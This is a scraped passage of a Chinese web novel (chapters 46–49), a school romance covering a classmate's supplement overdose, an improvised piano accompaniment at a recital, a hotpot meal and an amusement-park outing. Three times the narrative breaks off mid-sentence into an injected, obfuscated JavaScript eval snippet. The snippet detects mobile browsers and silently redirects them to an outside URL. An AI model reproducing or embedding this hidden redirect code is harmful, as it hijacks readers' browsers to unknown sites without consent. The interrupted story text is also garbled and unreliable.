高一(二)班,只有她、穆逢、蔡志高三个人来了,会是谁? 46. 波折 男洗手间外的过道上,已经围了一小群人,秦遇喊着“请让让,请让让,那是我同学”,奋力拨开人群往里挤。 一只手从前方伸过来,牢牢握住她,把她拉到最里面。 她抬头,对上穆逢的视线。 太好了,不是他! 狂跳的心舒缓下来,可是,既然不是他,那就意味着…… 她看向躺在地上的男生,一双半新不旧的运动鞋,熟悉的蓝白色校服,那张时常挂着得意之色的脸,此刻一片灰白,双眼紧闭,眼镜随脑袋歪斜,嘴角还有残留的白沫。 是蔡志高。 一个老师扶着他的上半身,让他靠在自己腿上,一个老师和高速服务区的工作人员商讨着打120,第三个老师,正站在他们面前。 这位姓袁的老师看看穆逢,又看看他身边一个矮小的圆脸男生, “听说是你们把他从洗手间抬出来的?到底怎么回事?发生了什么?” 圆脸男生急急开口,指着地上昏迷不醒的蔡志高,“他进了卫生间,一开始还好好的,后来我听见‘砰’地一声,好像什么东西撞到了门板上,接着,我一低头,就从门板下面的缝隙里,看到了他的头发,我、我就在他隔壁,隔着一道门板。” “我叫他,他也没反应,我出来后就去敲他的门,这位同学”,男生说着,指了指穆逢,“力气很大,一把扯开了门,就看见他躺在地上,口吐白沫,已经昏过去了,我们就把他抬出来了。” 袁老师听完,又看向穆逢,“是这样吗?” 穆逢点头,“差不多。” “有没有听见他跟人起冲突?或者其他异常的事?” 圆脸男生果断地说,“没有。” 穆逢把一个塑料瓶,递到老师面前。 “这个,是从他身边的地上捡来的。” 袁老师急急接过塑料瓶,转到正面,念出上面的大字“金牌记忆宝”,拧开瓶盖,里面已经空了。 袁老师闻了闻瓶子,略一思索,转身单膝跪到蔡志高身边,去摸他的校服口袋。 从里面一共掏出了五个塑料瓶子。 袁老师皱着眉,挨个查看瓶身,秦遇离得近,看见了瓶身上的名字,“XX记忆丸”、“XX脑动力PLUS”、“XXX黄金记忆片”…… 都是宣称能提高智力的保健品,有些在电视广告里听过,有些像三无产品。 扶着蔡志高的老师,又从他领口摸出了一粒橙色小药丸。 恰好,来服务区休息的长途客车上有位医生,听说此事后匆忙赶来,对蔡志高做了简单的初步检查,又检视了那些瓶子,拍了拍手说道,“一次性吞入过量成分不明的保健品所致,目前暂时没有生命危险,不过,要抓紧送去洗胃。” 一边说着,一边摇头叹气,“真是个傻孩子,怎么能信这种东西。” 听到这话,在场的老师和学生都松了口气,负责带队的老师拉着医生的手连连道谢,两位老师留下,负责照顾蔡志高,等待急救车到来。 “好了,没事了,请同学们抓紧时间上厕所,我们十分钟后回到大巴车上,继续出发。” 穆逢拉着秦遇往洗手间走,这个服务区的男女洗手间分立在走廊两侧,相对而立。 “干什么?我不需要去洗手间。” 穆逢拉着她继续走,“我是让你去洗手。” “我的手不脏。” 穆逢把手举到她面前,修长的手指骨节分明。 “我的手脏。” “那个药瓶是从卫生间的地上捡起来的,我拉了你的手,你的手也被弄脏了。” 秦遇嫌弃地咧了咧嘴,“那确实挺脏的,得好好洗洗。” 水龙头里的水哗哗流淌着,她细细抹上肥皂,搓出浓密泡沫,放到水龙头下。 脏污随着泡沫一起流下去。 一抬头,镜子里映出穆逢修长挺拔的身影,两人的视线在镜中相撞,他对她挑了挑眉。 秦遇想笑,随即抿了抿嘴,压下翘起的唇角,转身走到他身边,两人一起向外走去。 “不要这样站在女洗手间门口,像在偷窥的变态。” “可我只是在等你,根本没看别人。” “那也不行,以后离远一点。” “嗯,听你的。” 在蔡志高因吞食大量保健品被送去洗胃后,他们这趟联赛之行又出了岔子。 离上场还有十几分钟的时候,秦遇的搭档,负责弹钢琴的黄琳同学,突然呕吐不止。 还好C市教育局在活动现场安排了医生,经过判断是食物中毒,果断叫了救护车送去医院,人倒是没事,可是这下,诗歌朗诵怎么办? 袁老师把同学们聚集在一起,着急地问,“同学们当中,还有谁会弹钢琴吗?能不能来补补空?” 大家面面相觑,都摇了摇头。 就在这时,吕程说话了。 他不知道什么时候,站到了秦遇身后,此刻从她身后走出来,站到袁老师身边。 “老师,我表妹正好是C市人,她从小学钢琴,去年还拿了C市钢琴比赛青少年组的冠军,这种程度的曲子,对她来说易如反掌。” 他说着,眼神有意无意地看向秦遇,提高了声音。 “如果老师同意,我这就去给她打电话,叫她来救场,”吕程说着,看了看手表,“她家住在西边,打车过来二十多分钟,我们可以申请把诗歌朗诵调整到最后,这样她们还能有时间沟通磨合一下,你说是不是,秦同学?” 吕程看向她,目光中有挑衅的得意和施舍的傲慢,秦遇冷冷地瞥了他一眼,正想开口拒绝,袁老师激动地一拍手,“太好了!就这么办,吕程同学你现在就去打电话,我去找负责活动的李老师。” 说着就急火火地往后台走。 “哎,袁老师,等一下!” 秦遇正要去追,吕程走过来,手搭在她肩上。 “没关系,你不用觉得承我的情,这都是为了我们学校的集体荣誉,大家准备了这么久,都想拿出最好的表现。” 秦遇甩开他的手,后退两步,和他拉开距离,脸上流露出一丝厌恶,“不用了,没有伴奏也照样读诗。” 周围同学中,有几个隐约听说过他们之间的过节,见此情形,不表态,只竖起耳朵仔细听。 不知道隐情的大多数,则七嘴八舌地说,“没错,就这样办吧”,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158716|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干念诗有什么意思?”“吕程说的对,听他的吧。” 议论声此起彼伏,乱哄哄像苍蝇乱飞。 好吵!好烦! 突然之间,她成了众矢之的,在这种情况下,如果她还坚持拒绝吕程的提议,那就是任性无理,置集体荣誉于不顾。 吕程越发摆出一副云淡风轻的表情,抱起手臂静静看着她,像是在欣赏一只被围猎的小动物。 “不用那么麻烦,我来。” 一道响亮的声音在走廊尽头响起,众人转过头,一道修长的身影出现在走廊另一端。 穆逢迈着轻快的步伐跑过来,额上的薄汗在从窗玻璃斜射进来的阳光下,闪着反光。 他径直跑到秦遇身边,一把揽住她的肩,傲然道,“不用费那个劲了,我来伴奏。” 他掌心的灼热穿透布料,丝丝传递给她,心头的不安和烦躁,一点点消退。 秦遇抬头,他俊朗的侧脸线条分明,坚毅的眼神比阳光还耀眼。 她小声问,“你怎么来了?不是去参加联赛考试了吗?” “提前交卷,就打车过来了。” 穆逢说得无比轻松,低头对上她的视线,眼中泛起笑意,“我可不想错过你的表演。” “我知道你想帮我,可是,你又不会弹钢琴……” 她靠近他,声音越来越小,穆逢必须弯腰贴近她,才能听见。 一声响亮的嗤笑,像一个不和谐的音符,突兀地闯入,打断了两人的交谈。 吕程冷冷看着并肩而立的两人,“穆逢,开玩笑也要有个限度,就算你学过钢琴,没配合过也不行。你这样逞强,万一上场搞砸了,丢脸的可是我们整个学校!” “是啊,没听说过他会谈钢琴。” “这可不是他一个人的事。” “时间紧张,他这样纯粹是耽误事。” 人群中又响起议论声,秦遇拉了拉穆逢的袖子,担忧地看着他,“要不,就听他的吧。” 她不介意自己被围攻、被谴责,可是看见穆逢这样,她却觉得难以接受。 “放心,交给我。” 穆逢的声音沉着有力,他抬起头环视众人一圈。 “既然大家这么在意学校的名誉,那就要赢得光明正大、漂漂亮亮,说到底,这位同学的表妹,也不是我们学校的,传出去,恐怕不好听。” 一句话,是提醒,是威胁。 “我呢,在这里给大家做个保证,如果我搞砸了这场表演,我会立刻转学,再也不出现在大家面前。” “至于你,吕程,要不要再和我打个赌?” 他的嘴角勾起一抹讥讽的弧度,看向吕程时,脸上尽是胜券在握的轻松余裕。 回想起上一次的狼狈,吕程决定给自己留点空间,于是冷哼一声,“既然你这么想表现,那就让我们拭目以待吧。” 他说着,转身向表演大厅走,走过穆逢身边时,压低声音说,“我很期待看你,哦不,是看你们出丑。” 说到你们两个字时,故意看向秦遇,加重语气。 穆逢闲闲一个侧身,把秦遇结结实实挡在身后,居高临下地睨着他,“恐怕,又要让你失望了。” 47. 救场 “你确定要上台吗?现在反悔还来得及。” 在后台,秦遇紧张地盯着穆逢,再一次向他确认。 还有三分钟,就到他们了。 穆逢刚穿上一身借来的白西装,正对着镜子整理领口。 他的腿长,185的西装裤子穿在他身上像九分裤,露出脚踝和一节小腿。 穆逢的视线从镜子里移开,看向她,坚定道,“我这个人从不做让自己后悔的事。” 他向前一步,凑近她,压低声音,“放心,我不会让你丢脸的。” 秦遇抬眸,两人的视线交织在一起。 “你就按照你的节奏来,我来配合你。” 他眼中的自信和笃定感染了她,让她不自觉地点了点头,鼓点一样的心跳也慢下来。 隔着一道帷幕,掌声响起,那是上一个节目结束的声音,是他们上台的前奏。 穆逢对她伸出手,掌心朝上。 秦遇深吸一口气,伸出手,轻轻放到他掌中。 一触之下,他立刻反手紧紧握住她,汹涌的力量感通过皮肤接触,传递给她。 主持人在舞台上念出诗名、曲名和他们的名字。 工作人员拉开帷幕。 侧身上台阶时,穆逢趁机在她耳边低语,“没事,有我在。” 坦白说,她对这首诗已经无比熟悉,熟悉到告诉她一个词,她就能迅速说出在第几句。 她唯一担心的,是和穆逢配合不好。 可是当她诵出第一句诗,穆逢的钢琴声天衣无缝地衔接进来,她就知道,稳了。 熟悉的音乐响起,节奏流畅得像一条轻快的河流,又像一串完美无瑕的珍珠项链,每一个音符就是一颗珠子,大小、松紧,全都衔接得恰到好处。 感觉就像是回到了熟悉的钢琴房,回到了在学校里和黄琳一起排练的时候。 不,不止如此,她甚至不需要想着配合这件事,只是按照自己的节奏来,把这首诗原原本本地朗诵出来,而他,自然会来就她。 结束时,全场响起掌声,秦遇终于有机会去看穆逢,穆逢恰好也看向她。 两人目光相接,他挑了挑眉,用眼睛对她说,“怎么样?我就说没问题吧?” 她忍不住笑了,微微点头,用嘴型对他说,“厉害”。 穆逢读懂她的话,眉头舒展开,嘴角上扬。 此时此刻,她才有心情去打量他的穿着,这是她第一次看他穿西装,桀骜不驯的少年和规矩板正的西装,碰撞出激烈的反差,却又意外得迷人,让人忍不住多看了又看。 在此之前,她从来不会把穆逢和西装联系在一起,可是此刻,他坐在黑色三角钢琴前,坐在聚光灯下,挺直的脊背和宽阔的肩膀一览无余,手腕上是她亲手编织的手链,黑绿分明,水晶姜饼人在其间一闪一闪的,像耀眼的星星。 他修长的手指放在琴键上,温柔得像在轻抚爱人的身体。 这不合时宜的浮想联翩,让她的脸有点热。 节目过程中,坐在台下的吕程,脸色越来越难看,和周围人如痴如醉的神情形成鲜明对比。 一直到演出结束,都没有任何差错,他失望地站起来,在秦遇和穆逢对视时,扭头往外走。 迎面走来两个外校的女生。 “弹钢琴的男生好帅,看起来冷冷的,可是一笑怎么那么迷人。” “他是叫黄琳吧,我记得节目表上是这个名字,真奇怪,一个大男生居然起个女生名字。” 吕程越听越气,嘴里说着“让一让”,却不等两人分开,就从她们中间硬挤过去。 过道本就窄,一个女生被挤得撞到墙,气得回头瞪他一眼。 “真没素质,哪个学校的?” 她的朋友过来扶住她,“差劲,看校服好像是邻市二中的……” 穆逢在后台试衣间里换衣服,秦遇在门外等他。 清甜的笑声从外面传来,后台的门被推开,几个女生走进来,叽叽喳喳地问她。 “刚才那位弹钢琴的帅哥,还在这里吗?” 秦遇眼珠转了转,她大概明白这些女生为何而来,心里有一瞬间的不快,可是做人的一贯原则,还是让她点了点头。 几个女生激动地拉着手,四处打量,“他在哪里?在哪里?” 就在这时,试衣间的门被推开,穆逢从里面走出来,他已经换回自己的校服,戴上了她送他的鸭舌帽。 门一开,他的目光就牢牢锁定秦遇,向她走来。 几个陌生的女生忽然飞奔过来,挡在他前面。 “同学,同学,你钢琴弹得真好,你是二中的吗?” “同学,能不能给我你的电话号码?加□□也行,我也是学钢琴的,想请你指点一下。” “同学,楼下有一家点心店很好吃,跟我们去吃吧。” …… 几个女生小鸟一样围着他,穆逢抬头,越过她们,看向秦遇。 秦遇的脸上,明明白白写着不高兴。 视线相撞,秦遇瞪了他一眼,转身向门外走。 穆逢急了,丢下一句,“我社恐,离我远点。”就追了出去。 他在走廊上追上秦遇。 “喂,生气了?” “没有。” 秦遇目不斜视,继续往前走。 “不是说好等我的,怎么自己走了?” “粉丝都追过来了,我这个局外人,不便打扰。” 话里浓浓的酸味,让穆逢心头乐开了花,可是秦遇气鼓鼓的脸颊,又让他不敢把这份快乐表露分毫。 “我是无辜的,我只是想和你一起做一件事。” 秦遇不说话,继续目视前方,脚步不停。 “小遇,你得对我公正一点。” “如果你追求公正,那你应该去找法官。” 秦遇自以为回怼的干净利落,无比机敏,可是穆逢忽然窜到她面前,拦住她。 “干嘛?” 她没好气地瞪他。 穆逢微微低头,凝视着她,心里话脱口而出。 “我不追求公正,我追求你……” 他猛然停住,胸口剧烈起伏,像是要把争前恐后奔涌而出的情绪,狠命压回去。 秦遇也没好到哪里去,她抿了抿嘴,假装毫不在意,充血般的红色却从白瓷一样的细薄皮肤下透出来。 身后,走廊的拐角处,刚才那几个追到后台的女生,正在窃窃私语。 “什么社恐,根本就是骗我们的。” “早说他有女朋友就好了,我们也不是什么狗皮膏药。” “嘘,小点声,其实我觉得他们很配,刚刚在台上表演完,相视一笑,很甜。” 走出表演大厅,外面阳光正好,洒在身上暖融融的。 两人并肩走到一棵梧桐树下。 秦遇站定,转过身看他。 “穆逢,你的钢琴怎么弹得这么好?” 穆逢两手插在口袋里,看着她,缓缓开口,“我从会爬就开始弹钢琴了,小时候,钢琴是我的玩具,也是唯一的朋友。” 提到童年,他的眼睛微微眯起,明明是在回忆往事,神情却有些凝重。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166328|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “之前都没听你说过。” 穆逢“嗯”了一声,“这两年没弹了,平时也没什么机会提到钢琴。” 两年没弹,平时也没见他练过,却能弹得这样流畅,和她配合得比天天排练的同学还要好。 这得是什么水平? 见她一直看着自己,穆逢轻咳一声,有些别扭地解释,“其实,我听过你和那个音乐生的排练,所以知道怎么配合。” 他没说的是,不是听过,而是特意去听。她的每一次彩排,他都在钢琴教室窗外的树下,从头听到尾。 然后,等到她开始收拾东西,再迅速离开,若无其事地出现在她必经的地方,假装和她偶遇。 秦遇想的却是别的事。 她盯着他看了数秒,几张画面从脑海中闪过,她忽然轻轻“啊”了一声。 抓住了,就是它。 脑海中的那幅画面,逐渐清晰明朗,那是一个八九岁左右的男孩,穿着剪裁得体的成套西装,坐在钢琴前,身边是一个女子温柔的侧影。 “你到底,有没有弟弟?” 穆逢的眉毛高高挑起,“我是独生子,为什么突然这么问?” 秦遇解释,“上次在你家,我帮你复习的时候,看见电视前面摆着一张照片,是你妈妈和一个可爱的小男孩……” 说着说着,她露出恍然大悟的神情,嘴唇张大成O型,“那个男孩是你?!” 穆逢不置可否。 秦遇踮起脚尖,凑近了看他。 鸭舌帽的帽檐下,穆逢的眼神柔软得像拂过的春风。 “怎么了?” 秦遇心无旁骛地打量着他的五官,和记忆中的那张照片对比,然后放下脚尖,皱眉总结道,“怎么差别这么大。” 穆逢好笑道,“什么?” 秦遇一本正经道,“我是说,照片里的男孩,完全不像你。” 说着,继续往前走,穆逢跟上来,走在她前面,一边倒着走,一边和她说话。 “照片怎样?现在又怎样?” 秦遇思索两秒,认真回答,“照片里的男孩乖乖的,又白又奶,现在的你,皮肤黑了不少,”她想了想,补充道,“第一次见你的时候,觉得你挺凶的。” 穆逢耳朵上的银耳钉,随着他的行走,一闪又一闪,听到秦遇的话,他忍不住嘴角上扬。 “后来呢?” “后来……”秦遇故意拉长了音调,“后来觉得你人还不错。” “不过,”她叹一口气,“你会的实在太多了。” “我会得多不好吗?为什么露出这种不开心的表情? 秦遇撇撇嘴,“也没什么,就是衬得我十分平庸罢了。” 穆逢笑了,一个利落转身,目视前方,朗朗开口,“我交朋友不看他会得多不多,我自己会得已经够多了。” 声音里满满的笑意,漫溢到空气里。 秦遇停住脚步,佯装生气道,“干嘛学我说话?” 那明明是她用来怼吕程的话,原话是“我交朋友不看他成绩好不好,我自己的成绩已经够好了。” 穆逢侧头看她,咧嘴一笑,露出雪白尖利的犬齿,那双清澈明亮的眼睛里,闪过狡黠的光,“我想用你的话,表达我的态度,因为,我跟你有一样的想法。” 糟糕,她的心跳忽然快起来,扑通扑通地,砸得她一阵晕眩。 她勉强定了定神,移开视线,小声嘟囔,“我随口说的,你怎么记这么清楚。” 穆逢抬起手,修长食指点了点自己的脑袋,“没办法,天生记忆力好。” 48. 预言 happy 走到大路上,秦遇摸了摸扁扁的肚子,“我饿了,我们去吃饭吧?” 穆逢立刻回应,“想吃什么?自助餐?粤菜?西餐?日料……” 秦遇打断他,“我想吃辣的。” 穆逢一拍手,“好说,去吃火锅。” 方方正正的九宫格里,翻滚着浓稠的红汤,沸腾的辣油滚过生冷食材,逼出活色生鲜的美味。 秦遇被辣得不停吹气,仍然吃得不亦乐乎。 一抬头,透过蒸腾的热气发现穆逢正看着她,俊朗的脸上浮现一丝笑意,手边的筷子却一动也没动。 “你怎么不吃?” “我在等炒饭。” “你不爱吃火锅?” “不是,我不能吃辣。” 秦遇吃惊得叫出来,“那你怎么还要点九宫格!” 穆逢不假思索地回道,“因为你看见九宫格的图片,眼睛放光,还咽了口水。” 秦遇立刻地捂住嘴,瞪着他,含糊的否认透过指缝传出。 “我才没有。” 穆逢乐得笑起来,“继续吃啊,你吃东西的样子真投入,让人觉得吃的一定是很美味的东西。” “等你的炒饭来了,一起吃。真是的,早知道就点鸳鸯锅了。” “无所谓,我对吃的没多大兴趣,吃什么都行。” 穆逢动筷比她晚,放下筷子比她早。 两人边吃边聊,话题很自然就到了这次的朗诵表演上。 “如果我没来,你打算怎么对付他?” 秦遇喝下一大口冰凉微酸的橘汁,思索两秒后说,“嗯,我正在考虑,是再给他一巴掌,还是爆发狮吼功。” 穆逢失笑,“我怎么不知道,你还有这功夫?” “不要小看我,人不可貌相,兔子急了还咬人呢。” “我怎么会小看你!不过,”穆逢的眼睛微微眯起,一抹厉色从眼眸深处一闪而过,“这个吕程,很会借势做文章,会利用周围环境给人施压,不能着了他的道。” 秦遇猛点头,“太对了,他一直这样,最擅长PUA,有一次……” 眼看着穆逢的眼神一秒冻结,神情也淡下来,她终于意识到自己说漏了嘴,紧急刹车。 穆逢好整以暇地看着她,脸上的笑意还未褪完,温和的语气中却暗藏着说不清的压力。 “有一次,然后呢?发生了什么?” 他的胳膊放在桌上,身子往前探。那探究的眼神,让她一阵心虚。 见她不说话,穆逢又补上一句,“你就这么了解他。” 声音淡淡的,听不出情绪,可是秦遇知道,他越是表现的无事发生,越是在意。 “没、没有,我根本不认识他,更不了解他。” 她急着否认,一个不留神,牙齿磕到舌尖,疼得她龇牙咧嘴,眼泪飙出来。 她用手捂住嘴,低头遮掩掉下的眼泪。 “怎么了?给我看看” 穆逢走过来,捏着她的脸,把她扳过来,让她对着自己。 “给我看看” 他低头凑近,英挺的眉眼骤然放大,近得她能闻到他身上淡淡的皂香味,感受到他温热的体温。 秦遇的心扑通扑通得跳起来。 穆逢的语气瞬间变得凝重,“不行,流血了,我们去医院。” 说着就要拉她往外走。 秦遇拉住他,摇头,含糊地说,“没事,以前也咬过舌头,一会就好了。” “血小板会自动止血的。” 穆逢不放手,“去医院看一下才能放心。” 秦遇往后拽他,“我不想去。” 穆逢疑惑,“为什么这么抗拒?” 秦遇嗫嚅着,“我,我还没吃够。” 她说的不是没吃饱,而是没吃够。 穆逢难以置信,“舌头都破了,还要吃?” “我……破的是左边,我用右边嚼。你看,这么一桌子菜,才吃了一半,我不想浪费。” 秦遇言之凿凿,怕他不放心,又说“已经止血了,嘴里没有血腥味了,本来就只是一点点伤口,没必要去医院。” 穆逢仍然不放心,“真不流血了?再给我看看!” 说着,又弯腰凑近她,同时伸手去捧她的脸。 秦遇身子往后撤,“不,别看了,我自己能感觉出来。” 到底拗不过穆逢,被他一双大手,牢牢捧住脸。 “张嘴,给我看看。” 秦遇憋得脸通红,伸手推他,“太丢脸了,你快放手。” “什么丢不丢脸的,谁管那个,听话,张开嘴给我看看。” 穆逢浑不在意,仍然用手捧着她的脸,要她张嘴检查伤口。 此时此刻,秦遇万分庆幸,他们选了角落里的座位,身后还有半人高的绿植做格挡。 尽管如此,人高马大的穆逢一站起来,仍然吸引了数道目光。 秦遇觉得十分羞耻,干脆抬起脚,狠狠踩了他一下。 穆逢疼得一皱眉,手上的控制减了力道,秦遇趁机挣脱开,反手用力推他,“坐回对面去,不许勉强我,我自己的情况自己清楚。” 穆逢无奈地叹一口气,“行行行,不勉强不勉强,你慢慢吃,不要碰到伤口。” 低头吃饭的时候,秦遇暗中庆幸,咬了舌头也不亏,至少转移了他的注意力,这下,他也不再追问刚才说漏嘴的事了。 穆逢靠在椅背上,看她吃饭,看她脸颊被嘴里的食物撑得鼓鼓的,奋力咀嚼,看她嘴唇被辣得像火一样红,微微肿起,看她大口喝下玻璃杯里的橙色果汁。 他忽然觉得,他可以看她吃饭看一整天。 至于刚刚那个疑问,就让它暂时留在那里,他只要知道,她讨厌吕程,就够了。 结账的时候,秦遇主动打开钱包,掏出钱放到柜台上,穆逢抓起钱塞回她手里,从兜里掏出一张卡递给服务生。 “我从不让女生付钱,更何况是你。” 十几岁的少年,义正严辞的说着封建大爹味发言,秦遇忍不住想笑,抿住嘴,说了声“哦”。 在明确自己喜欢他之前,她一点也不想花他的钱,只想彼此泾渭分明、清清白白,最好没有一丝金钱纠葛。 因为她怕夹缠不清。 可是现在,他来买单这件事,已经完全不会构成她的心理负担。 见秦遇顺从地接过钱,放回钱包,穆逢的嘴角更是要翘到天上。 太好了,她愿意花他的钱! 下午还有一场语文联赛,明天返程,原本蔡志高代表高一年级的语文组参赛,由于他吞食大量保健品被送去洗胃,眼下这个名额顺延到了年级语文第二手里。 既然下午都没事,两个人一商量,决定去附近的游乐场玩上一下午。 在游乐场入口,两人又因为谁付钱买票的事,起了争执。 穆逢不悦地皱着眉,“你还是不愿意花我的钱,怕欠我的是不是?” 秦遇耐心解释,“刚刚吃饭你买单,现在该轮到我了。你还没工作,手里也只有家里给的零花钱。” 穆逢气得脸色发红,“我的零花钱虽然每月只有二百万,可也不至于请不起你来这里玩。” 秦遇被“两百万”这个数字,砸得耳朵嗡嗡响。 她知道他有钱,但不知道他这么有钱。 坦白说,得知这个情况,她的第一反应不是别的,而是不安。两个人之间的财力差距,深得像马里亚纳海沟。 虽然穆逢平时没什么炫富行为,相反,他十分擅长和后排那些男生打成一片,可是他的家人…… 作为一个经历过婚姻的人,秦遇深深明白,恋爱是两个人的事,结婚则是两个家庭的事,一旦进入婚姻,鸡毛蒜皮的生活琐事,处处都要磨合,生活标准差距太大,彼此都痛苦。 售票口的工作人员克制着即将抽搐的嘴角,一脸黑线地提醒他们,“要不然,你们先到旁边商量一下,商量好了再来买票。” “不用商量了,我来付。” 穆逢不由分说地把她拉到身边,另一只手把银行卡放到售票窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174440|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 一进游乐场,世界就变成了童话般的色彩,蓝的路灯,粉的房子,黄色道路。 “沿着黄色大路一直走”,是桃乐丝的魔法之旅,秦遇轻声哼起童年看过的奥兹国历险记主题曲,脚下的步伐也轻快了许多。 穆逢叫住她,“等等。” “怎么了?” “别动。” 穆逢长腿一迈,绕到她正前方,忽然蹲下。 这个突如其来的动作,让她一时有些茫然。 她慢半拍地垂下眼,看见少年宽阔的肩背一览无余,仿若海平线。 他单膝跪地,在给她系鞋带。 右脚的鞋带不知道什么时候散开,拖在地上,沾染了脏污。 修长有力的手指,拾起鞋带,三两下交叉着系好。 “好了。” 穆逢站起来,拍了拍膝盖,若无其事地往前走。 走了两步,发现她没跟来,回头,见她还站在原地。 他双手插兜走到她面前,弯腰凑近,细看她的表情。 “怎么?难道被我感动得走不动了?” 秦遇“切”了一声,“系鞋带而已,又不是第一次经历这种事,有什么大不了。” 一昂头,往前走。 穆逢在她身后,后槽牙咬得咯咯响,刚才那句话简直是搬起石头砸了自己的脚。 不过,他才不会认输。 他追上秦遇,喘着气,“还有谁给你系过鞋带?” 秦遇嘴角微弯,侧过脸,对他甜甜一笑,“骗你的,没有别人。” 微风拂过,吹起她的头发,她那张清丽的面孔,像一株迎风盛开的清荷,美得惊心动魄。 穆逢只觉得像有一道闪电劈在他身上,心跳都漏了半拍。 他呆楞住,有片刻失神,好不容易才找回自己的意识。 充满自信的声音在空气中响起,“不管有多少人,反正我系得一定是最好的。” 黄色大路的拐角处,停着一辆印第安风格大篷车,车前有个穿波西米亚风长裙的老婆婆抬手招呼他们,“小姑娘,小伙子,来抽根签吧,今天入园的人,都能免费抽一支签,拿一根棒棒糖。” 原本不感兴趣的两个人,听到“棒棒糖”都眼前一亮,一起走过去。 老婆婆那像枯树皮一样的苍老手指上,累累坠坠戴了许多素银戒指和绿松石戒指,她面前的桌子上,摆着一只皮制笔筒样的东西,里面竖着数十支色彩斑斓的细木签,仔细一看,不是木签是彩色的,而是外面包了彩纸。 “你们谁先来?” 老婆婆的声音,暗哑的像老风箱。 穆逢看向她,“你先选。” 秦遇点点头,伸手拿了一支包着紫色纸的签子。 撕开彩纸,看见细长的木杆上,刻着一列小字。 “春宵一梦须臾醒,风前微尘一瞬散。” 秦遇默念了两遍,盯着那个散字,心里一沉。 穆逢伸手拿了一支绿色的签子,撕开一看,他笑出声。 “婆婆,你这签里怎么还有英语?” 秦遇凑过去,见那根签子上居然刻着“happywifehappylife”。 老婆婆不以为意,“现在都讲地球村、国际化,我这个老婆子也知道,我们求签解签,也得跟国际接轨。” 果然是开放的千禧年,这觉悟真让秦遇自叹弗如。 老婆婆看了一眼穆逢的签,“这可真不错。” 穆逢觉得十分好笑,“婆婆你知道这句话什么意思吗?” “知道,知道,我孙子给我讲过,媳妇开心,生活才能开心。” 老婆婆转身从后面的盒子里拿出两根棒棒糖,给他们一人一个。 秦遇不太开心,“我的签不好。” 穆逢安慰她,“只是一个游戏,别当真。” 前面,蓝水晶一样的天空中,红色的过山车像一条蜿蜒的巨龙,从数朵白云间穿过。 穆逢拉起她的手,“走,我们去玩过山车。” 49. 惊魂 排队的时候,秦遇抬头看了一眼过山车中段,那截直上直下的部分,偷偷吐了口气。 坦白说,面对过山车,她就是标准的“又菜又爱玩”。 每次都被吓得魂飞魄散,赌咒发誓下次不玩了,下次看见,还是要玩一把。 “你害怕啊?” 穆逢的声音幽幽响起。 “有点吧,不过,我还挺想玩的。” 今次不同以往,她居然没有梗着脖子,倔强地说“我才不怕”。 穆逢觉得很新鲜,又想着她或许是真害怕,于是靠近她,用只有她能听见的声音说,“别怕,有我陪着你呢。” 澄澈青空下,他利落的下巴线条勾勒出完美曲线,脸上的笑意灿烂又迷人。 秦遇“嗯”了一声,和他一起走上去。 他们坐在第二排,扣好安全带后,两名工作人员从一头一尾开始,逐个检查安全措施。 不知道为什么,秦遇心头忽然升起一阵不安。 这种感觉明明刚刚还没有。 干脆下车吧,别玩了。 脑海中像是有个人在说话,可是看穆逢很期待的样子,她又不想扫他的兴。 轮到他们了,穿着黄色工作,戴着同色系帽子的工作人员走到他们身边,弯腰为他们检查安全带。 她的心砰砰地跳起来,像是无数大鼓一起敲响,一颗心像被一只手揪住、拉扯,背后竟莫名渗出汗来。 她这是怎么了? 难道是被过山车吓得? 多奇怪,以前也玩过过山车,从没有过这样的反应。 工作人员低头检查他们的安全带,低声咕哝了一句,“没绑好。” 然后给两人重新绑了一遍。 绑完,又用手指勾了勾,试试有没有扣紧。 秦遇习惯性地看向他,说“谢谢”,对方却全然没有回应,不仅如此,她甚至觉得,这个人在躲避她的视线。 一瞬间,心里的不安飙升到了顶点。 工作人员已经检查完,回到控制台,小喇叭里飘出倒数的提醒。 “……请靠紧椅背,握好扶手,冲上云霄马上就要启动……” “对不起,穆逢,我不想玩了,我们下去吧。” 她一边说,一边解开安全带的搭扣。 她的手莫名有点抖,手按在光滑的金属扣上,试了几次,都没打开。 穆逢伸出手,给她解开。 “走,我们去玩别的。” 穆逢没有一丝责怪她的意思,两个人一起走下台阶,排在后面的人补上来,坐上了他们的座位。 “你觉不觉得,刚才那个工作人员有点奇怪。” 穆逢不解,“哪个?” “嗯,就是刚刚给我们绑安全带的那个。” “没觉得,不过,这些人里,好像只有他戴口罩。” 秦遇忽然顿住,如遭雷击。 